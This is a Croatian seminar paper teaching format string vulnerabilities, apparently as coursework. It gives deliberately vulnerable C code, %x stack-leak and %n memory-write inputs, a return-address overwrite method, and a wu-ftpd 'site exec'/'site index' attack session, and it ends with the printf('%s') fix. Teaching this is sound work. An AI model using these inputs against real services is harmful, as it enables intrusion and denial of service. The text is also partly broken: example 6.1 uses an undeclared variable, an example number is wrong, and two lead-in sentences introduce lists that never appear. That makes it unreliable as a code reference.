Seminarski rad PDF dokumenat

 

DCOM exploit video RPC buffer overflow exploit video primjer

 

TFTP exploit video TFTP exploit video primjer
 

6. Format String

Format string napad javio se tijekom 2000 godine. Ova tehnika omogućuje da neovlašteni korisnik napada lokalno a tako i udaljeno računalo. Prethodno tome, prelivanje spremnika je bio glavni sigurnosni problem. Mnogi su bili iznenađeni novim propustom, koji je uništio OpenBSD zapise bez lokalne root rupe. Za razliku od preljeva spremnika, ovdje nisu bili prepisani podaci na stogu ili gomili u velikoj količini. Zbog toga je u stdarg ( lista ulaznih argumenata), moguće je prepisati određenu adresu u memoriji. Neke od često korištenih format string funkcija su printf(), sprintf(), fprintf() i syslog(). Te funkcije kao ulazne argumente uzimaju tzv. formatirani string.

Format string je korišten u varijablama kao argumenti funkciji kao na primjer printf(), fprintf() i syslog(). Ovi format stringovi su korišteni kako bi pravilno formatirali podatke kada se ispisuju na izlaz.

Primjer 6.1 prikazuje program s format string ranjivošću

 

#include <stdio.h>

int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]); // 5 linija koda
putchar('\n');
printf("broj (%p) je jednak %d\n", &value, value);
}

 

Pogledajmo označenu liniju koda u primjer 6.1 ranjivog programa. Vidimo da u funkciji printf() nisu upotrebljeni specifikatori za konverziju. Budući da nema specifikatora za konverziju, argumenti spremnika su interpretirani i ako se nađe bilo koji specifikator za konverziju u spremniku on će biti normalno procesiran. Pogledajmo što će se dogoditi kad pokrenemo ranjivi program:

 

$ gcc –o example example.c
$ ./example testing
testing
number (0xbffffc28) je jednak 5
$ ./example AAAA%x%x%x
bffffc3840049f1840135e4841414141
number (0xbffffc18) je jednak 5
$

 

Drugi puta kad pokrenemo program, unijeli smo znak za konverziju %x koji vrši konverziju u heksadekatski format. Izlaz je ispis dijela memorije na stogu. Vrijednost  41414141 predstavlja četiri znaka slova 'A' koje smo unijeli kao ulazni argument programu. Te vrijednosti koje smo unijeli kao argument programu su stavljene na stog i korištene su kao argument funkciji printf() u liniji 5 primjera 6.1. Kao što vidimo, može se staviti željena vrijednost na stog, ali kako se može modificirati memorija na taj način ?
Odgovor je u znaku za konverziju %n. Većina format string znakova korištena su kako bi formatirali izlaz nekog određenog tipa podatka kao na primjer cijeli broj, realni broj, znakovni niz, drugi znakovi omogućuju da se iskoriste propusti format string propusta. Specifikator za konverziju %n sprema broj koji se želi ispisat u varijablu.
Primjer 10.3. pokazuje kako se koristi %n:

 

 

printf("hello%n\n", &number)
printf("hello%100d%n\n", 1, &number)

 

U prvoj liniji, varijabla number sadrži vrijednost 5 zato što  riječ "hello" ima 5 znakova. Specifikator za konverziju %n ne sprema broj znakova zapravo u liniji gdje se nalazi printf(), već se to događa kad je broj ispisan na izlaz. Posljedica toga je, da u drugoj liniji varijabla number sadrži vrijednost 105, znači broj znakova u riječi “hello” plus %100d.

Budući da sad možemo kontrolirati argumente koje prenosimo funkciji, možemo sada ubaciti željenu vrijednost  kako bi prepisali određenu adresu uz pomoć specifikatora za konverziju %n. Kako bi stvarno prepisali vrijednost pokazivača na stog, moramo definirati adresu koju želimo prepisat i koristiti znak za konverziju kako bi pisali na željenu adresu. Pokušajmo prepisati vrijednost varijable number. Prvo, znamo kad pozivamo program s ulaznim argumentima s dužinom 10, varijabla se nalazi na stogu na adresi 0xbffffc18. Primjer prepisivanja varijable number:

 

 $ ./example `printf "\x18\xfc\xff\xbf"`%x%x%n
bffffc3840049f1840135e48
number (0xbffffc18) is equal to 10
$

 

Vidimo da varijabla number sadrži veličinu koju smo unijeli kao argument pri pokretanju programa. Znamo koristit znak za konverziju %n kako bi pisali na željenu adresu, ali kako zapisati korisnu vrijednost ? Punjenjem spremnika s znakovima kao %100d, možemo specificirat veliku vrijednost bez da je unosimo u program. Ako je potrebno specificirat malu vrijednost, može se ubaciti na adresu koja treba biti prepisana, i zapisati svaki oktet kao 4 bajta adrese odvojeno. Na primjer, ako je potrebno prepisati adresu s vrijednosti 0xbffff710 (-1073744112), možemo je podijeliti u par od dva okteta. Te dvije vrijednosti—0xbfff i 0xf710— sada predstavljaju pozitivne vrijednosti koje je moguće ubaciti koristeći %d tehniku. Zapisujući dvije %n vrijednosti na donju polovicu i gornju polovicu povratne adrese, može se uspješno prepisat povratna adresa. Kada je vješto ubačena i shell kod je stavljen u adresni prostor ranjive aplikacije, bit će uspješno izvršen.

6.1 Što je to Format String Bug?

Format string bug se javlja kad korisnik ubacuje podatke u formatu koje koristi printf() familija funkcija:


printf
fprintf
sprintf
snprintf
vfprintf
vprintf
vsprintf
vsnprintf


ili bilo koju drugu funkciju na operacijskom sustavu koja sadrži kao argument C-stil format specifikaciju, kao na primjer wprintf() funkciju na Windows platformi. Napadač dobavlja broj od specifikatora za konverziju koji nema odgovarajuće argumente na stogu, i vrijednosti sa stoga na njegovom mjestu. To vodi do dobivanja neovlaštenih informacija i izvršavanja zlonamjernog koda.


Primjer 6.2

 

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] )
{
if( argc != 2 )
{
printf("Greska – unesite niz znakova\n");
return 1;
}

printf( argv[1] );
printf( "\n" );

return 0;
}

 

Ako prevedemo ovaj izvorni kod na ovaj način:


cc fmt.c -o fmt

 

i pokrenemo program s ovim ulaznim argumentima:

 

./fmt "%x %x %x %x"

 

na ovaj način smo dobili efektivno ovo kao rezultat:


printf( "%x %x %x %x" );

 

Važna stvar, mi smo za ulazne argumente unijeli znakove za konverziju, što će printf() funkcija interpretirati kao string i ispisati na izlaz, ali na izlazu smo dobili kao rezultat sljedeće:

 

4015c98c 4001526c bffff944 bffff8e8

 

printf() funkcija je ispisala četiri vrijednosti s neke memorijske lokacije. Ali te vrijednosti u biti dolaze s programskog stoga. Ovo na prvi pogled ne izgleda kao problem, ali neovlašteni korisnik može na ovaj način vidjeti sadržaj stoga, Što to znači?
Na ovaj način moguće je vidjeti korisničko ime ili zaporku na sistemu, ali problem ide puno dublje od toga. Ako pokušamo izvršiti veliki broj znakova za konverziju %x kao u ovom primjeru:

 

./fmt
"AAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%
x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"

 

rezultat je:

 

./fmt
"AAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"

AAAAAAAAAAAAAAAAAAA4001526cbffff7d880483e18049530804962cbffff8084003e2802
bffff834bffff84080482ae80484900bffff8084003e26a0bffff8404015abc040014d282
80483000804832180484002bffff834804829880484904000cc20bffff82c400152cc2bff
ff972bffff9780bffffa8ebffffab1bffffac3bffffae3bffffaf6bffffb08bffffb2abff
ffb3cbffffb4ebffffb5bbffffb64bffffb6ebffffb85bffffd63bffffd71bffffd92bfff
fdadbffffdc2bffffdcfbffffddabffffdebbffffdf8bffffe00bffffe0fbffffe24bffff
e34bffffe42bffffe50bffffe61bffffe6fbffffe7abffffe85bffffed6bffffee5bffffe
f7bfffff0abfffff1bbfffff2bbfffffd6bfffffde0103febfbff61000116438048034420
567400000008098048300b0c0d0e0fbffff96d000000383669002f2e0036746d664141414
1414141414141414141414141254141412578257825782578257825782578257825782578
257825782578257825782578257825782578257825782578

 

Kao što se vidi, ispisali smo mnogo podataka s stoga, kako idemo prema kraju stringa vidimo i naš ulazni niz u heksadecimalnoj notaciji:

 

41414141414141

 

ovaj rezultat je slučajan, ali ima smisla ako uzmemo u obzir da je format string zadržan na stogu, segment od 4 okteta od ulaznog niza je ubačen kao "broj" kako bi bio zamijenjen s nizom znakova. Tako smo dobili izlaz u hex formatu. Ako pogledamo u pomoćnim man stranicama za funkciju sprintf(), vidjet ćemo da funkcija sprintf() a isto tako i slične funkcije njoj, imaju mnogo specifikatora konverzije – d, i, o, u i x za cijele brojeve, zatim e, f, g za realne brojeve i c za znakove. Ima još nekih zanimljivih specifikatora konverzije, kao na primjer:

%s – ovaj specifikator tretira se kao pokazivač na znakovni niz.
%n – ovaj specifikator se tretira kao pokazivač na cijeli broj ili neki tip sličan cijelom broju, kao na primjer mali cijeli broj ( engl. short ). Broj znakova će biti ispisan na izlaz od niza na koji pokazuje pokazivač.
Ako upotrijebimo specifikator konverzije %n u ulaznom nizu, broj znakova će biti zapisano na lokaciju određenu ulaznim argumentom:

 

./fmt "AAAAAAAAAAAAAAAAAAA%n%n%n%n%n%n%n%n%n%n%n"

 

Zaključak ovog primjera je da uz pomoć printf() ili slične funkcije  uz korištenje %n specifikatora konverzije, moguće je zapisati željenu vrijednost na željenu memorijsku lokaciju, zato što %n očekuje adresu argumenta. To znači da možemo prepisati gotovo bilo koju memorijsku lokaciju. Ako na primjer želimo ispisati 50 znakova, koristit ćemo %050x što će nam dati heksadecimalni ispis 50 znakova.


Koristeći ove činjenice, moguće je izvršiti zlonamjerni kod zbog ovih uvjeta:

Najgora je stvar što ima nekoliko zabluda vezanih uz format string napad:

 

6.2 Napadanje servisa

 

Kada se vrši napad na neku mrežu, cilj je napasti neki određeni servis. Recimo ako se napada Domain Name System  tada će se naravno napadati DNS poslužitelj. Ako je taj poslužitelj ranjiv na format string, vrlo lako ćemo postići željeni rezultat i srušiti servis.
Pogledajmo primjer napada na wu-ftpd server. Washington University FTP server verzije  2.6.0 (ili ranije) je ranjiv na tipični format string propust u site exec naredbi. Primjer sjednice kako izgleda napad:

 
[root@attacker]# telnet victim 21
Trying 10.1.1.1...
Connected to victim (10.1.1.1).
Escape character is '^]'.
220 victim FTP server (Version wu-2.6.0(2) Wed Apr 30 16:08:29 BST 2003)
ready.
user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass foo@foo.com
230 User anonymous logged in.
site exec %x %x %x %x %x %x %x %x
200-8 8 bfffcacc 0 14 0 14 0
200  (end of '%x %x %x %x %x %x %x %x')
site index %x %x %x %x %x %x %x %x
200-index 9 9 bfffcacc 0 14 0 14 0
200  (end of 'index %x %x %x %x %x %x %x %x')
quit
221-You have transferred 0 bytes in 0 files.
221-Total traffic for this session was 448 bytes in 0 transfers.
221-Thank you for using the FTP service on vulcan.ngssoftware.com.
221 Goodbye.
Connection closed by foreign host.
[root@attacker]#
 

 

Kao što se vidi uz pomoć specifikatora konverzije %x u site exec i još mnogo interesantnije naredbe site index,  moguće je ispisati vrijednosti sa stoga na način prikazan u primjeru gore. Kada izvršimo sljedeću naredbu:

 
site index %n%n%n%n
 

 

wu-ftpd će htjeti zapisati cijeli broj 0 (nula) na adresu 0x8, 0x8, 0xbfffcacc, i 0x0, uzrokujući grešku "segmentation fault" zato što adrese 0x8 i 0x0 nisu predviđene za pisanje. Kad izvršimo dolje navedenu naredbu dobit ćemo:

site index %n%n%n%n
 
Connection closed by foreign host.

 

Slučajno, nije mnogo ljudi znalo da je naredba site index ranjiva na takav napad, a posljedica toga je da velika većina IDS-a neće tragati za takvom signaturom. U vrijeme kad je taj propust bio aktualan, jedino je Snort znao prepoznati site exec napad.

6.3 Uklanjanje Format String propusta

 

Pronalaženje i popravljanje format string propusta je vrlo jednostavno. Format string propust je nazočan kada nema specifikatora za konverziju specificiranih za argumente funkciji koji su unošeni u program preko liste standardnog ulaza va_arg. U gornjem primjeru 6.1 i primjeru 6.2, propust je vidljiv u liniji printf(argv[1]). Brzo rješenje tog problema bilo bi kad bi ubacili specifikator za konverziju “%s” umjesto ulaznog argumenta argv[1].Tada bi dobili liniju koda koja izgleda ovako printf(“%s”, argv[1]). Ovaj specifikator za konverziju ne dopušta da se ispiše bilo koji drugi specifikator za konverziju koji je stavljen kao ulazni argument u argv[1]. Postoje pretraživači izvornog koda, koji traže takve propuste po izvornom kodu.  Jedan od njih je  pscan (www.striker.ottawa.on.ca/~aland/pscan/), on traži po linijama koda format string funkcije koje nemaju u sebi specifikatore za konverziju i na taj način čini izvorni kod, odnosno program sigurnijim za korištenje.